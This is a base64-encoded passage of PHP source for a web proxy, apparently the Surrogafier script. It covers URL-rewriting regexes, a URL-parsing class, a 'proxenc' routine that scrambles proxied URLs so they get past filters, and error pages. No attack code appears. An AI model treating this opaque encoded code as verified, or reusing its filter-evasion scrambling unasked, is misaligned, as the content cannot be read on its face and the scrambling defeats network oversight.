dG1scmVnfS9pIiwxLGZhbHNlLE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOm51bGwpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPFtpXT9mcmFtZXskcGx1c3NwYWNlfVtePl0qc3JjeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDEsZmFsc2UsUEFHRVRZUEVfRlJBTUVEX0NISUxEKTpudWxsKQ0KCSksDQoNCgkndGV4dC9jc3MnID0+IGFycmF5KA0KCQlhcnJheSgyLDEsIi9bXmEtel11cmxcKHskYW55c3BhY2V9KCYoPzpxdW90fCMoPzozWzQ5XSkpO3xcInwnKSguKj9bXlxcXFxdKShcXDEpeyRhbnlzcGFjZX1cKS9pIiwyKSwNCgkJYXJyYXkoMiwxLCIvW15hLXpddXJsXCh7JGFueXNwYWNlfSgoPyEmKD86cXVvdHwjKD86M1s0OV0pKTspW15cIidcXFxcXS4qP1teXFxcXF0peyRhbnlzcGFjZX1cKS9pIiwxKSwNCgkJYXJyYXkoMiwxLCIvQGltcG9ydHskcGx1c3NwYWNlfSgmKD86cXVvdHwjKD86M1s0OV0pKTt8XCJ8JykoLio/W15cXFxcXSkoXFwxKTsvaSIsMikNCgkpLA0KDQoJJ2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMsDQoJJ3RleHQvamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMNCik7DQoNCiMgfX19DQoNCiMgUkVHRVhQUzogSU5TRVJUIEpBVkFTQ1JJUFQgUkVHRVhQUyB7e3sNCg0KaWYoUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwcycgfHwgUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwc19mcmFtZWQnKXsgPz4vLzxzY3JpcHQ+DQo8P3BocCBlY2hvKGNvbnZlcnRhcnJheV90b19qYXZhc2NyaXB0KCkuKCghZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpPydyZWdleHBfYXJyYXlzWyJ0ZXh0L2h0bWwiXS5wdXNoKEFycmF5KDEsLzxbXFxcXC9dPyhlbWJlZHxwYXJhbXxvYmplY3QpW14+XSo+L2lnLCIiKSk7JzpudWxsKSk7ID8+DQovLzwvc2NyaXB0Pjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFNFUlZFUi1TSURFIE9OTFkgUEFSU0lORyB7e3sNCg0KYXJyYXlfcHVzaCgkcmVnZXhwX2FycmF5c1sndGV4dC9odG1sJ10sDQoJYXJyYXkoMiwxLCIvPG1ldGFbXj5dKnskcGx1c3NwYWNlfWh0dHAtZXF1aXZ7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpcmVmcmVzaFxcMVtePl0qIGNvbnRlbnR7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpWyAwLTlcLjtcdFxcclxuXSp1cmw9KC4qPylcXDJbXj5dKj4vaSIsMyx0cnVlLE5FV19QQUdFVFlQRV9GUkFNRURfUEFHRSksDQoJYXJyYXkoMSwxLCIvKDxtZXRhW14+XSp7JHBsdXNzcGFjZX1odHRwLWVxdWl2eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0oW1wiJ118KXNldC1jb29raWVcXDJbXj5dKiBjb250ZW50eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0pKFtcIiddKSguKj9bXlxcXFxdKXskYW55c3BhY2V9XFwzL2kiLCdcMVwzJy5QQUdFQ09PS19QUkVGSVguJ1w0XDMnKQ0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBDTEVBTlVQIHt7ew0KDQojIG5lZWRlZCBsYXRlciwgYnV0ICRhbnlzcGFjZSBhbmQgJGh0bWxyZWcgYXJlIHVuc2V0IGJlbG93DQpkZWZpbmUoJ0JBU0VfUkVHRVhQJywiPGJhc2VbXj5dKiBocmVmeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9W14+XSo+Iik7DQpkZWZpbmUoJ0VORF9PRl9TQ1JJUFRfVEFHJywiKD86eyRhbnlzcGFjZX0oPzpcL1wvKT97JGFueXNwYWNlfS0tPnskYW55c3BhY2V9KT88XC9zY3JpcHQ+Iik7DQpkZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsIiggb25bYS16XXszLDIwfT0oPzpcIlteXCJdK1wifCdbXiddKyd8W15cIicgPl1bXiA+XStbXlwiJyA+XSl8IGhyZWY9KD86XCJ7JGFueXNwYWNlfWphdmFzY3JpcHQ6W15cIl0rXCJ8J3skYW55c3BhY2V9amF2YXNjcmlwdDpbXiddKyd8eyRhbnlzcGFjZX1qYXZhc2NyaXB0OlteXCInID5dW14gPl0rW15cIicgPl0pKSIpOw0KDQp1bnNldCgkanNhdHRycywkanNob29rYXR0cnMsJGpzbWV0aG9kcywkanNsb2Nob3N0LCRodG1sYXR0cnMsDQogICAgICAkYW55c3BhY2UsJHBsdXNzcGFjZSwkb3BlcmFuZHMsJG5vdG9wZXJhbmRzLA0KICAgICAgJHF1b3Rlc2VnLCRyZWdzZWcsDQogICAgICAkanN2YXJzZWN0LCRqc29ianNlY3QsJGpzdmFyb2JqLCRqc3F1b3Rlc2VjdCwkanNxdW90ZXJlZywNCiAgICAgICRub3Rqc3ZhcnNlY3QsDQogICAgICAkanNlbmQsJG5vdGpzZW5kLCRqc2JlZ2luLCRqc2JlZ2lucmlnaHQsDQogICAgICAkaHRtbG5vcXVvdCwkaHRtbG5vcXVvdG5vcW0sJGh0bWxyZWcsJHhtbGh0dHByZXEsJGpzbmV3b2JqLCRmb3Jtbm90cG9zdCwkZnJhbWV0YXJnZXRzLA0KICAgICAgJGpzX3N0cmluZ19tZXRob2RzLCRqc19zdHJpbmdfYXR0cnMsDQogICAgICAkanNfcmVnZXhwX2FycmF5cw0KKTsNCg0KIyB9fX0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlMge3t7DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBBVVJMIENMQVNTIHt7ew0KDQojIGNsYXNzIGZvciBVUkwNCmNsYXNzIGF1cmx7DQoJdmFyICR1cmwsJHRvcHVybCwkbG9ja2VkOw0KCXZhciAkcHJvdG8sJHVzZXJwYXNzLCRzZXJ2ZXJuYW1lLCRwb3J0dmFsLCRwYXRoLCRmaWxlLCRxdWVyeSwkbGFiZWw7DQoNCglmdW5jdGlvbiBhdXJsKCR1cmwsJHRvcHVybD1udWxsKXsNCg0KCQlpZihzdHJsZW4oJHVybCk+TUFYSU1VTV9VUkxfTEVOR1RIKSAkdGhpcy0+dXJsPW51bGw7DQoJCWVsc2UgJHRoaXMtPnVybD1wcmVnX3JlcGxhY2UoJy8mIyhbMC05XSspOy9lJywnY2hyKFwxKScsdHJpbShzdHJfcmVwbGFjZSgnJmFtcDsnLCcmJyxzdHJfcmVwbGFjZShjaHIoMTMpLG51bGwsc3RyX3JlcGxhY2UoY2hyKDEwKSxudWxsLCR1cmwpKSkpKTsNCgkJJHRoaXMtPnRvcHVybD0kdG9wdXJsOw0KDQoJCSR0aGlzLT5kZXRlcm1pbmVfbG9ja2VkKCk7DQoJCWlmKCR0aGlzLT5sb2NrZWQpIHJldHVybjsNCg0KCQkkdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXByZWdfbWF0Y2goVVJMUkVHLCR0aGlzLT51cmwpKXsNCgkJCSR1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKCR0aGlzLT50b3B1cmw9PW51bGwpICR0aGlzLT51cmw9J2h0dHA6Ly8nLigoJHRoaXMtPnVybHswfT09JzonIHx8ICR0aGlzLT51cmx7MH09PScvJyk/c3Vic3RyKCR0aGlzLT51cmwsMSk6JHRoaXMtPnVybCkuKHN0cnBvcygkdGhpcy0+dXJsLCcvJykhPT1mYWxzZT9udWxsOicvJyk7DQoJCQkjaWYoJHRoaXMtPnRvcHVybD09bnVsbCkgJHRoaXMtPnVybD0naHR0cDovLycucHJlZ19yZXBsYWNlKCIvXjo/XC97MCwyfS8iLCIiLCR0aGlzLT51cmwpLihzdHJwb3MoJHRoaXMtPnVybCwnLycpIT09ZmFsc2U/bnVsbDonLycpOw0KCQkJZWxzZXsNCgkJCQkkbmV3dXJsPSR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpLiR0aGlzLT5nZXRfZmllbGRyZXEoMiwkdGhpcy0+dG9wdXJsLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPnRvcHVybC0+Z2V0X3NlcnZlcm5hbWUoKS4oKCR0aGlzLT50b3B1cmwtPmdldF9wb3J0dmFsKCkhPTgwICYmICgkdGhpcy0+dG9wdXJsLT5nZXRfcHJvdG8oKT09J2h0dHBzJz8kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyc6Jy4kdGhpcy0+dG9wdXJsLT5nZXRfcG9ydHZhbCgpOm51bGwpOw0KCQkJCWlmKCR0aGlzLT51cmx7MH0hPScvJykgJG5ld3VybC49JHRoaXMtPnRvcHVybC0+Z2V0X3BhdGgoKTsNCgkJCQkkdGhpcy0+dXJsPSRuZXd1cmwuJHRoaXMtPnVybDsNCgkJCX0NCgkJfQ0KDQoJCSR0aGlzLT5zZXRfcHJvdG8oKCR1cmx3YXN2YWxpZCB8fCAkdGhpcy0+dG9wdXJsPT1udWxsP3ByZWdfcmVwbGFjZSgnL14oW146XC9dKikuKiQvJywnXDEnLCR0aGlzLT51cmwpOiR0aGlzLT50b3B1cmwtPmdldF9wcm90bygpKSk7DQoJCSR0aGlzLT5zZXRfdXNlcnBhc3MocHJlZ19yZXBsYWNlKFVSTFJFRywnXDInLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9zZXJ2ZXJuYW1lKHByZWdfcmVwbGFjZShVUkxSRUcsJ1wzJywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcG9ydHZhbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcNCcsJHRoaXMtPnVybCkpOw0KCQkkdGhpcy0+c2V0X3BhdGgocHJlZ19yZXBsYWNlKFVSTFJFRywnXDUnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9maWxlKHByZWdfcmVwbGFjZShVUkxSRUcsJ1w2JywkdGhpcy0+dXJsKSk7DQoJCSR0aGlzLT5zZXRfcXVlcnkocHJlZ19yZXBsYWNlKFVSTFJFRywnXDcnLCR0aGlzLT51cmwpKTsNCgkJJHRoaXMtPnNldF9sYWJlbChwcmVnX3JlcGxhY2UoVVJMUkVHLCdcOCcsJHRoaXMtPnVybCkpOw0KDQoJCWlmKCEkdGhpcy0+bG9ja2VkICYmICFwcmVnX21hdGNoKFVSTFJFRywkdGhpcy0+dXJsKSkgaGF2b2soNywkdGhpcy0+dXJsKTsgIyoNCgl9DQoNCglmdW5jdGlvbiBkZXRlcm1pbmVfbG9ja2VkKCl7ICR0aGlzLT5sb2NrZWQ9cHJlZ19tYXRjaChBVVJMX0xPQ0tfUkVHRVhQLCR0aGlzLT51cmwpPjA7IH0gIyoNCg0KCWZ1bmN0aW9uIGdldF9maWVsZHJlcSgkZmllbGRubywkdmFsdWUpew0KCQkkZmllbGRyZXFzPWFycmF5KDIgPT4gJzovLycuKCR2YWx1ZSE9bnVsbD8iJHZhbHVlQCI6bnVsbCksIDQgPT4gKCR2YWx1ZSE9bnVsbCAmJiBpbnR2YWwoJHZhbHVlKSE9ODA/JzonLmludHZhbCgkdmFsdWUpOm51bGwpLCA3ID0+ICgkdmFsdWUhPW51bGw/Ij8kdmFsdWUiOm51bGwpLCA4ID0+ICgkdmFsdWUhPW51bGw/IiMkdmFsdWUiOm51bGwpKTsNCgkJaWYoIWFycmF5X2tleV9leGlzdHMoJGZpZWxkbm8sJGZpZWxkcmVxcykpIHJldHVybiAoZW1wdHkoJHZhbHVlKT9udWxsOiR2YWx1ZSk7DQoJCWVsc2UgcmV0dXJuICRmaWVsZHJlcXNbJGZpZWxkbm9dOw0KCX0NCg0KCWZ1bmN0aW9uIHNldF9wcm90bygkcHJvdG89JycpeyBpZigkdGhpcy0+bG9ja2VkKSByZXR1cm47ICR0aGlzLT5wcm90bz0oIWVtcHR5KCRwcm90byk/JHByb3RvOidodHRwJyk7IH0NCglmdW5jdGlvbiBnZXRfcHJvdG8oKXsgcmV0dXJuICR0aGlzLT5wcm90bzsgfQ0KCWZ1bmN0aW9uIGdldF91c2VycGFzcygpeyByZXR1cm4gJHRoaXMtPnVzZXJwYXNzOyB9DQoJZnVuY3Rpb24gc2V0X3VzZXJwYXNzKCR1c2VycGFzcz1udWxsKXsgJHRoaXMtPnVzZXJwYXNzPSR1c2VycGFzczsgfQ0KCWZ1bmN0aW9uIGdldF9zZXJ2ZXJuYW1lKCl7IHJldHVybiAkdGhpcy0+c2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIHNldF9zZXJ2ZXJuYW1lKCRzZXJ2ZXJuYW1lPW51bGwpeyAkdGhpcy0+c2VydmVybmFtZT0kc2VydmVybmFtZTsgfQ0KCWZ1bmN0aW9uIGdldF9wb3J0dmFsKCl7IHJldHVybiAoZW1wdHkoJHRoaXMtPnBvcnR2YWwpPygkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JzQ0Myc6JzgwJyk6JHRoaXMtPnBvcnR2YWwpOyB9DQoJZnVuY3Rpb24gc2V0X3BvcnR2YWwoJHBvcnQ9bnVsbCl7ICR0aGlzLT5wb3J0dmFsPXN0cnZhbCgoaW50dmFsKCRwb3J0KSE9ODApPyRwb3J0Om51bGwpOyB9DQoJZnVuY3Rpb24gZ2V0X3BhdGgoKXsNCgkJaWYoc3RycG9zKCR0aGlzLT5wYXRoLCcvLi4vJykhPT1mYWxzZSkgJHRoaXMtPnBhdGg9cHJlZ19yZXBsYWNlKCcvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy8nLCcvJywkdGhpcy0+cGF0aCk7DQoJCWlmKHN0cnBvcygkdGhpcy0+cGF0aCwnLy4vJykhPT1mYWxzZSkgd2hpbGUoKCRwYXRoPXN0cl9yZXBsYWNlKCcvLi8nLCcvJywkdGhpcy0+cGF0aCkpICYmICRwYXRoIT0kdGhpcy0+cGF0aCkgJHRoaXMtPnBhdGg9JHBhdGg7DQoJCXJldHVybiAkdGhpcy0+cGF0aDsNCgl9DQoJZnVuY3Rpb24gc2V0X3BhdGgoJHBhdGg9bnVsbCl7ICR0aGlzLT5wYXRoPShlbXB0eSgkcGF0aCk/Jy8nOiRwYXRoKTsgfQ0KCWZ1bmN0aW9uIGdldF9maWxlKCl7IHJldHVybiAkdGhpcy0+ZmlsZTsgfQ0KCWZ1bmN0aW9uIHNldF9maWxlKCRmaWxlPW51bGwpeyAkdGhpcy0+ZmlsZT0kZmlsZTsgfQ0KCWZ1bmN0aW9uIGdldF9xdWVyeSgpeyByZXR1cm4gJHRoaXMtPnF1ZXJ5OyB9DQoJZnVuY3Rpb24gc2V0X3F1ZXJ5KCRxdWVyeT1udWxsKXsgJHRoaXMtPnF1ZXJ5PSRxdWVyeTsgfQ0KCWZ1bmN0aW9uIGdldF9sYWJlbCgpeyByZXR1cm4gJHRoaXMtPmxhYmVsOyB9DQoJZnVuY3Rpb24gc2V0X2xhYmVsKCRsYWJlbD1udWxsKXsgJHRoaXMtPmxhYmVsPSRsYWJlbDsgfQ0KDQoJZnVuY3Rpb24gZ2V0X3VybCgkd2l0aGxhYmVsPXRydWUpew0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHRoaXMtPnVybDsNCgkJcmV0dXJuICR0aGlzLT5nZXRfcHJvdG8oKS4nOi8vJy4NCgkJICAgICAgICgkdGhpcy0+Z2V0X3VzZXJwYXNzKCk9PW51bGw/bnVsbDokdGhpcy0+Z2V0X3VzZXJwYXNzKCkuJ0AnKS4NCgkJICAgICAgICR0aGlzLT5nZXRfc2VydmVybmFtZSgpLg0KCQkgICAgICAgKCgkdGhpcy0+Z2V0X3Byb3RvKCk9PSdodHRwcycgJiYgaW50dmFsKCR0aGlzLT5nZXRfcG9ydHZhbCgpKT09NDQzKSB8fCBpbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpPT04MD9udWxsOic6Jy5pbnR2YWwoJHRoaXMtPmdldF9wb3J0dmFsKCkpKS4NCgkJICAgICAgICR0aGlzLT5nZXRfcGF0aCgpLiR0aGlzLT5nZXRfZmlsZSgpLg0KCQkgICAgICAgKCR0aGlzLT5nZXRfcXVlcnkoKT09bnVsbD9udWxsOic/Jy4kdGhpcy0+Z2V0X3F1ZXJ5KCkpLg0KCQkgICAgICAgKCR3aXRobGFiZWwgJiYgJHRoaXMtPmdldF9sYWJlbCgpPT1udWxsP251bGw6JyMnLiR0aGlzLT5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCWZ1bmN0aW9uIHN1cnJvZ2FmeSgpew0KCQkkbGFiZWw9JHRoaXMtPmdldF9sYWJlbCgpOw0KCQkkdGhpcy0+c2V0X2xhYmVsKCk7DQoJCSR1cmw9JHRoaXMtPmdldF91cmwoKTsNCgkJJHRoaXMtPnNldF9sYWJlbCgkbGFiZWwpOw0KDQoJCSMkdGhpcy0+ZGV0ZXJtaW5lX2xvY2tlZCgpOw0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHVybDsNCgkJIyB8fCAkdGhpcy0+Z2V0X3Byb3RvKCkuJHRoaXMtPmdldF9maWVsZHJlcSgyLCR0aGlzLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPmdldF9zZXJ2ZXJuYW1lKCkuJHRoaXMtPmdldF9wYXRoKCkuJHRoaXMtPmdldF9maWxlKCk9PVRISVNfU0NSSVBUKSByZXR1cm4gJHVybDsNCg0KCQlpZihFTkNSWVBUX1VSTFMgJiYgISR0aGlzLT5sb2NrZWQpICR1cmw9cHJveGVuYygkdXJsKTsNCgkJIyR1cmw9VEhJU19TQ1JJUFQuJz89Jy4oIUVOQ1JZUFRfVVJMUz91cmxlbmNvZGUoJHVybCk6JHVybCkuKCFlbXB0eSgkbGFiZWwpPyIjJGxhYmVsIjpudWxsKTsgIyB1cmxlbmNvZGVkDQoJCSR1cmw9VEhJU19TQ1JJUFQuIj89eyR1cmx9Ii4oIWVtcHR5KCRsYWJlbCk/IiMkbGFiZWwiOm51bGwpOw0KCQlyZXR1cm4gJHVybDsNCgl9DQp9IA0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogVVJMIFBBUlNJTkcge3t7DQpmdW5jdGlvbiBzdXJyb2dhZnlfdXJsKCR1cmwsJHRvcHVybD1mYWxzZSwkYWRkcHJveHk9dHJ1ZSl7DQoJZ2xvYmFsICRjdXJyX3VybG9iajsNCgkvL2lmKHByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2lzJywkdXJsKT4wKXsNCglpZigoJHVybHswfT09JyInICYmIHN1YnN0cigkdXJsLC0xKT09JyInKSB8fCAoJHVybHswfT09J1wnJyAmJiBzdWJzdHIoJHVybCwtMSk9PSdcJycpKXsNCgkJJHVybHF1b3RlPSR1cmx7MH07DQoJCSR1cmw9c3Vic3RyKCR1cmwsMSxzdHJsZW4oJHVybCktMik7DQoJfQ0KCWlmKCR0b3B1cmw9PT1mYWxzZSkgJHRvcHVybD0kY3Vycl91cmxvYmo7DQoJJHVybG9iaj1uZXcgYXVybCgkdXJsLCR0b3B1cmwpOw0KCSRuZXdfdXJsPSgkYWRkcHJveHk/JHVybG9iai0+c3Vycm9nYWZ5KCk6JHVybG9iai0+Z2V0X3VybCgpKTsNCglpZighZW1wdHkoJHVybHF1b3RlKSkgJG5ld191cmw9InskdXJscXVvdGV9eyRuZXdfdXJsfXskdXJscXVvdGV9IjsNCglyZXR1cm4gJG5ld191cmw7DQp9DQoNCmZ1bmN0aW9uIGZyYW1pZnlfdXJsKCR1cmwsJGZyYW1lX3R5cGU9ZmFsc2Upew0KCWlmKCgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FX1RPUCB8fCAhVVJMX0ZPUk0pICYmICgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FRF9QQUdFICYmICFQQUdFX0ZSQU1FRCkpIHJldHVybiAkdXJsOw0KCS8vaWYocHJlZ19tYXRjaCgnL14oWyJcJ10pLipcMSQvaXMnLCR1cmwpPjApew0KCWlmKCgkdXJsezB9PT0nIicgJiYgc3Vic3RyKCR1cmwsLTEpPT0nIicpIHx8ICgkdXJsezB9PT0nXCcnICYmIHN1YnN0cigkdXJsLC0xKT09J1wnJykpew0KCQkkdXJscXVvdGU9JHVybHswfTsNCgkJJHVybD1zdWJzdHIoJHVybCwxLHN0cmxlbigkdXJsKS0yKTsNCgl9DQoJaWYocHJlZ19tYXRjaChGUkFNRV9MT0NLX1JFR0VYUCwkdXJsKTw9MCl7DQoJCWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVfVE9QICYmIFVSTF9GT1JNKSAkcXVlcnk9JyY9JzsNCgkJZWxzZWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEKSAkcXVlcnk9Jy4mPSc7DQoJCWVsc2VpZigkZnJhbWVfdHlwZT09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VfRlJBTUVEKSAkcXVlcnk9J18mPSc7DQoJCWVsc2UgJHF1ZXJ5PW51bGw7DQoJCSR1cmw9cHJlZ19yZXBsYWNlKCcvXihbXlw/XSopW1w/XT8nLlBBR0VUWVBFX01JTklSRUdFWFAuJyhbXiNdKj9bI10/Lio/KSQvJywiXFwxPz17JHF1ZXJ5fVxcMyIsJHVybCwxKTsNCgl9DQoJaWYoIWVtcHR5KCR1cmxxdW90ZSkpICR1cmw9InskdXJscXVvdGV9eyR1cmx9eyR1cmxxdW90ZX0iOw0KCXJldHVybiAkdXJsOw0KfQ0KDQpmdW5jdGlvbiBwcm94ZW5jKCR1cmwpew0KCWlmKCR1cmx7MH09PSd+JyB8fCBzdHJ0b2xvd2VyKHN1YnN0cigkdXJsLDAsMykpPT0nJTdlJykgcmV0dXJuICR1cmw7DQoJJHVybD11cmxlbmNvZGUoJHVybCk7DQoJJG5ld191cmw9bnVsbDsNCglmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCSRjaGFyPW9yZCgkdXJseyRpfSk7DQoJCSRjaGFyKz1vcmQoc3Vic3RyKFNFU1NfUFJFRiwkaSVzdHJsZW4oU0VTU19QUkVGKSwxKSk7DQoJCXdoaWxlKCRjaGFyPjEyNikgJGNoYXItPTk0Ow0KCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgl9DQoJI3JldHVybiAnficuYmFzZTY0X2VuY29kZSgkbmV3X3VybCk7DQoJcmV0dXJuICd+Jy51cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkbmV3X3VybCkpOw0KfQ0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogRVJST1JTICYgRVhJVElORyB7e3sNCg0KZnVuY3Rpb24gZmluaXNoX25vZXhpdCgpew0KCWdsb2JhbCAkZG5zX2NhY2hlX2FycmF5Ow0KCSMgc2F2ZSBETlMgQ2FjaGUgYmVmb3JlIGV4aXRpbmcNCgkkX1NFU1NJT05bJ0ROU19DQUNIRV9BUlJBWSddPSRkbnNfY2FjaGVfYXJyYXk7DQp9DQoNCmZ1bmN0aW9uIGZpbmlzaCgpew0KCWZpbmlzaF9ub2V4aXQoKTsNCglleGl0KCk7DQp9DQoNCmZ1bmN0aW9uIGhhdm9rKCRlcnJvcm5vLCRhcmcxPW51bGwsJGFyZzI9bnVsbCwkYXJnMz1udWxsKXsNCglnbG9iYWwgJGN1cnJfdXJsOw0KCSR1cmw9JGN1cnJfdXJsOw0KCXN3aXRjaCgkZXJyb3Jubyl7DQoJCWNhc2UgMToNCgkJCSRldD0nQmFkIElQIEFkZHJlc3MnOw0KCQkJJGVkPSJUaGUgSVAgYWRkcmVzcyBnaXZlbiAoeyRhcmcyfSkgaXMgYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLCBvciB0aGUgZG9tYWluIGdpdmVuICh7JGFyZzF9KSB3YXMgcmVzb2x2ZWQgdG8gYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLiI7DQoJCQlicmVhazsNCgkJY2FzZSAyOg0KCQkJJGV0PSdBZGRyZXNzIGlzIEJsb2NrZWQnOw0KCQkJJGVkPSJUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IHNlcnZpY2UgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBhZGRyZXNzLCBkb21haW4sIG9yIHN1Ym5ldC5cbjxiciAvPjxiciAvPlxuRG9tYWluOiB7JGFyZzF9XG48YnIgLz5cbkFkZHJlc3M6IHskYXJnMn0iOw0KCQkJYnJlYWs7DQoJCWNhc2UgMzoNCgkJCSRldD0nQ291bGQgTm90IFJlc29sdmUgRG9tYWluJzsNCgkJCSRlZD0iVGhlIGRvbWFpbiBvZiB0aGUgVVJMIGdpdmVuICh7JGFyZzF9KSBjb3VsZCBub3QgYmUgcmVzb2x2ZWQgZHVlIHRvIEROUyBpc3N1ZXMgb3IgYW4gZXJyb3JuZW91cyBkb21haW4gbmFtZS4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNDoNCgkJCSRldD0nQmFkIEZpbHRlcnMnOw0KCQkJJGVkPSdUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IGhhcyBpbmNvcnJlY3RseSBjb25maWd1cmVkIGhpcyBkb21haW4gZmlsdGVycywgb3IgYSBkb21haW4gZ2l2ZW4gY291bGQgbm90IGJlIHJlc29sdmVkLic7DQoJCQlicmVhazsNCgkJY2FzZSA1Og0KCQkJJGV0PSdEb21haW4gaXMgQmxvY2tlZCc7DQoJCQkkZWQ9J1RoZSBhZG1pbmlzdHJhdG9yIG9mIHRoaXMgcHJveHkgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBkb21haW4uJzsNCgkJCWJyZWFrOw0KCQljYXNlIDY6DQoJCQkkZXQ9J0NvdWxkIE5vdCBDb25uZWN0IHRvIFNlcnZlcic7DQoJCQkkZWQ9IkFuIGVycm9yIGhhcyBvY2N1cnJlZCB3aGlsZSBhdHRlbXB0aW5nIHRvIGNvbm5lY3QgdG8gXCJ7JGFyZzF9XCIgb24gcG9ydCBcInskYXJnMn1cIi4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNzoNCgkJCSRldD0nSW52YWxpZCBVUkwnOw0KCQkJJGVkPSdUaGUgVVJMIGJlbG93IHdhcyBkZXRlY3RlZCB0byBiZSBhbiBpbnZhbGlkIFVSTC4nOw0KCQkJJHVybD0kYXJnMTsNCgkJCWJyZWFrOw0KCX0NCgkkZWQuPSJcbjxiciAvPjxiciAvPlxuVVJMOiZuYnNwO3skdXJsfSI7DQo/Pg0KPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IGJpdHN0cmVhbSB2ZXJhIHNhbnMsIHRyZWJ1Y2hldCBtcyI+PGRpdiBzdHlsZT0iYm9yZGVyOiAzcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMnB4Ij4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYm9yZGVyOiAxcHggc29saWQgIzYwMjAyMDsgcGFkZGluZzogMXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGIj4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYmFja2dyb3VuZC1jb2xvcjogIzgwMTAxMDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtd2VpZ2h0OiBib2xkOyBmb250LXNpemU6IDU0cHg7IHBhZGRpbmc6IDJweDsgcGFkZGluZy1sZWZ0OiAxMnB4OyBwYWRkaW5nLXJpZ2h0OiAxMnB4Ij4hPC9kaXY+DQoJPC9kaXY+DQoJPGRpdiBzdHlsZT0iZmxvYXQ6IGxlZnQ7IHdpZHRoOiA1MDBweDsgcGFkZGluZy1sZWZ0OiAyMHB4Ij4NCgkJPGRpdiBzdHlsZT0iYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMDAwMDA7IGZvbnQtc2l6ZTogMTJwdDsgdGV4dC1hbGlnbjogY2VudGVyOyBmb250LXdlaWdodDogYm9sZDsgcGFkZGluZzogMnB4Ij5FcnJvcjogPD9waHAgZWNobygkZXQpOyA/PjwvZGl2Pg0KCQk8ZGl2IHN0eWxlPSJwYWRkaW5nOiA2cHgiPjw/cGhwIGVjaG8oJGVkKTsgPz48L2Rpdj4NCgk8L2Rpdj4NCjwvZGl2PjwvZGl2Pg0KPD9waHAgZmluaXNoKCk7IH0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlM6IFRDUC9JUCB7e3sNCg0KZnVuY3Rpb24gaXBiaXR0ZXIoJGlwYWRkcil7DQoJJGlwc3BsaXQ9ZXhwbG9kZSgnLicsJGlwYWRkcik7DQoJZm9yKCRpPTA7JGk8NDskaSsrKXsNCgkJJGlwc3BsaXRbJGldPWRlY2JpbigkaXBzcGxpdFskaV0pOw0KCQkkaXBzcGxpdFskaV09c3RyX3JlcGVhdCgnMCcsOC1zdHJsZW4oJGlwc3BsaXRbJGldKSkuJGlwc3BsaXRbJGldOw0KCX0NCglyZXR1cm4gaW1wbG9kZShudWxsLCRpcH